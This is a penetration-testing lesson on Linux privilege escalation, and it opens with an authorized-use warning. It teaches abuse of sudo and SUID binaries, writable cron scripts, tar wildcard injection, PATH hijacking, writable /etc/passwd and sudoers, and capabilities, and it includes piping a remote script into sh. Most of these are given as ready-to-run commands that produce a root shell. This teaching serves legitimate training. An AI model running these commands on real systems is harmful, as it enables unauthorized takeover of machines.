Linux Fundamentals

Linux Privilege Escalation

The payoff: sudo misconfigs, SUID binaries, cron jobs, PATH hijacking, and GTFOBins - going from user to root.

Hard 30 minprivescgtfobinssuidroot

You're in. A low-privilege shell on a Linux machine - maybe via an exploited web app, a cracked SSH password, or a phishing payload. Now what? Privilege escalation is the art of going from uid=1000(www-data) to uid=0(root). This lesson is the payoff for everything you've learned so far.

Authorized environments only

Every technique in this lesson is taught for use in authorized penetration testing engagements, CTF competitions, and dedicated lab environments (HackTheBox, TryHackMe, your own VMs). Running these against systems you do not own or have explicit written permission to test is illegal under the Computer Fraud and Abuse Act (US), the Computer Misuse Act (UK), and equivalent laws in virtually every jurisdiction. Ignorance is not a defense. If you don't have written authorization - don't touch it.

The methodology: enumerate first

The single biggest mistake beginners make is chasing exploits before they understand the system. Systematic enumeration almost always surfaces a path to root. Jump straight to exploitation and you'll miss the obvious misconfig right under your nose.

The methodology:

  1. Who am I? - current user, groups, capabilities
  2. What can I run as root? - sudo permissions
  3. What SUID/SGID binaries exist? - binaries that run with elevated privileges
  4. What services are running as root? - local attack surface
  5. What cron jobs exist? - scheduled tasks running as root
  6. What can I write to? - writable scripts/configs run by root
  7. What's in the PATH? - PATH hijacking opportunities
  8. What capabilities does my account have? - fine-grained Linux capabilities
  9. What kernel/OS version is running? - kernel exploits as a last resort

Step 0: Who am I?

id                      # User ID, group memberships
whoami                  # Just the username
groups                  # All groups the current user belongs to
cat /etc/passwd         # All users on the system
cat /etc/group          # All groups
sudo -l                 # What can I run with sudo?
kali@vr4cs: ~
 

(ALL : ALL) ALL means full sudo - sudo su and you're root. More interesting are partial allowances.

sudo misconfigurations

sudo -l is always the first thing you run. Look for anything that seems overly permissive.

The classic case: allowed to run a shell

(root) NOPASSWD: /usr/bin/vim

If you can run vim as root:

sudo vim -c ':!/bin/bash'

GTFOBins

GTFOBins is an invaluable reference. It catalogs Unix binaries that can be abused to escalate privileges when run with sudo, SUID bit, or certain capabilities.

For virtually any binary listed in sudo -l, check GTFOBins. Common examples:

# sudo find
sudo find . -exec /bin/bash \; -quit
 
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
 
# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'
 
# sudo less / man (opens a pager that can shell out)
sudo less /etc/shadow
# then type: !/bin/bash
 
# sudo tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

NOPASSWD is a red flag

(root) NOPASSWD: /usr/bin/somecommand means you can run that binary as root with no password. Even seemingly harmless binaries (like less, nano, cp, find) can be turned into root shells. Check GTFOBins for every single one.

SUID binaries

The Set User ID (SUID) bit on an executable means it runs with the owner's permissions, not the caller's. If a binary is owned by root and has the SUID bit set, anyone who runs it gets root-level execution.

find / -perm -4000 -type f 2>/dev/null

-perm -4000 means "the SUID bit is set." The -4000 (with the minus) means "at least these bits are set" - it's inclusive.

kali@vr4cs: ~
 

Most of these are expected (passwd, sudo, su). The suspicious ones are /usr/bin/python3.8 and /usr/bin/nmap - Python and nmap don't need SUID to function normally. These are misconfigured.

# Python SUID exploit
/usr/bin/python3.8 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
 
# Nmap interactive mode (old nmap versions)
/usr/bin/nmap --interactive
# then: !sh

The -p flag in bash is critical - it tells bash not to drop the effective UID, preserving the SUID privilege.

SGID - same idea, for groups

find / -perm -2000 -type f 2>/dev/null    # SGID binaries

SGID binaries run with the group's permissions. Less common as a privesc path but worth checking.

Hands-on Lab

SUID Permission Hunt

Scan a live vulnerable machine for SUID binaries and escalate to root using the GTFOBins technique for one of the findings.

Writable cron jobs

Cron runs scheduled tasks. If a cron job runs as root and executes a script that you can write to, you own root.

cat /etc/crontab                    # System-wide cron
ls -la /etc/cron.d/                 # Drop-in cron files
ls -la /etc/cron.hourly/            # Hourly scripts
ls -la /etc/cron.daily/             # Daily scripts
crontab -l                          # Current user's crontab
kali@vr4cs: ~
 

The script runs every minute as root but is world-writable (rwxrwxrwx). Classic CTF find.

echo 'chmod +s /bin/bash' >> /opt/scripts/cleanup.sh
# Wait 60 seconds for cron to run...
bash -p    # Now bash runs with EUID=0

Or more directly:

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/cleanup.sh
# After cron runs:
/tmp/rootbash -p

Checking for wildcard injection in cron

Some cleanup scripts use wildcards like tar -czf backup.tgz /var/www/*. If you can write files to /var/www/, you can inject tar flags as filenames - a technique called wildcard injection.

# If root runs: tar czf /backup.tgz /var/www/*
echo "" > /var/www/--checkpoint=1
echo "" > /var/www/--checkpoint-action=exec=sh\ shell.sh

PATH hijacking

When a script runs a command without an absolute path, the OS searches $PATH in order. If you can prepend a writable directory to $PATH, you can create a fake binary that gets executed instead of the real one.

# Check the target script
cat /opt/monitor.sh
#!/bin/bash
# /opt/monitor.sh (runs as root via sudo)
service apache2 status

service is called without /usr/sbin/service. If you can modify $PATH:

export PATH=/tmp:$PATH
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
sudo /opt/monitor.sh    # sudo preserves PATH if env_keep is set

Check sudo -l for env_keep+=PATH to confirm this works.

Weak file permissions

# World-readable /etc/shadow?
ls -la /etc/shadow
cat /etc/shadow | head -3      # If readable, crack the hashes offline
 
# Writable /etc/passwd?
ls -la /etc/passwd
# If writable, add a root user:
echo 'hacker:$(openssl passwd -1 password):0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker   # password is "password"
 
# Writable /etc/sudoers?
echo 'alice ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

Don't miss authorized_keys

Check ~/.ssh/authorized_keys for all users. If you can write to a user's .ssh directory, add your public key and log in directly.

Linux capabilities

Capabilities are a finer-grained alternative to SUID - they grant a specific privilege (like binding to port 80, or raw packet access) without giving full root. Some are just as dangerous.

getcap -r / 2>/dev/null
kali@vr4cs: ~
 

cap_setuid+ep lets the process set its own UID - effectively root.

# Python with cap_setuid
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
 
# Ruby with cap_dac_read_search (read any file, bypass permissions)
ruby -e 'print File.read("/etc/shadow")'

Check GTFOBins - it has a "Capabilities" section for each supported binary.

Automated enumeration tools

Once you understand the manual techniques, these tools scan for all of them at once:

# LinPEAS - the gold standard
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
 
# Linux Smart Enumeration (lse.sh)
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1

Understand before you automate

Run LinPEAS and similar tools after you've tried manually - otherwise the wall of output is overwhelming and you won't know what's important. Understanding the techniques makes the automated output readable.

Kernel exploits - last resort

uname -r           # Kernel version
uname -a           # Full kernel info
cat /etc/os-release
 
searchsploit linux kernel 5.4     # Search exploit-db offline
searchsploit -m 37292             # Copy an exploit to current dir

Kernel exploits are real and powerful (Dirty COW, DirtyPipe, PwnKit), but they:

  • Can crash the system or corrupt data
  • Are often patched on maintained systems
  • Are noisy and leave forensic artifacts

Exhaust all configuration-based paths before attempting a kernel exploit.

A realistic checklist

# 1. Who am I and what can I run?
id && sudo -l
 
# 2. SUID binaries
find / -perm -4000 -type f 2>/dev/null | grep -v "^/proc"
 
# 3. Writable files owned by root
find / -writable -user root -type f 2>/dev/null | grep -v "^/proc\|^/sys"
 
# 4. Cron jobs
cat /etc/crontab; ls /etc/cron.*; crontab -l
 
# 5. Services running as root
ps aux | grep root | grep -v '\[' | awk '{print $1,$11}'
 
# 6. Capabilities
getcap -r / 2>/dev/null
 
# 7. SSH keys
find / -name "authorized_keys" -o -name "id_rsa" 2>/dev/null
 
# 8. Kernel version
uname -r && cat /etc/os-release

Key takeaways

  • Always enumerate before exploiting. The path to root is almost always a misconfiguration, not a kernel exploit.
  • sudo -l is your first command on every compromised host. Check every allowed binary on GTFOBins.
  • find / -perm -4000 -type f 2>/dev/null finds SUID binaries - cross-check each one with GTFOBins.
  • Writable cron scripts that run as root are trivial to exploit - check permissions on every file a cron job touches.
  • PATH hijacking works when a script calls commands without absolute paths and you control part of $PATH.
  • getcap -r / finds capability-assigned binaries that can be as dangerous as full SUID root.
  • Run LinPEAS for speed, but understand every finding it surfaces.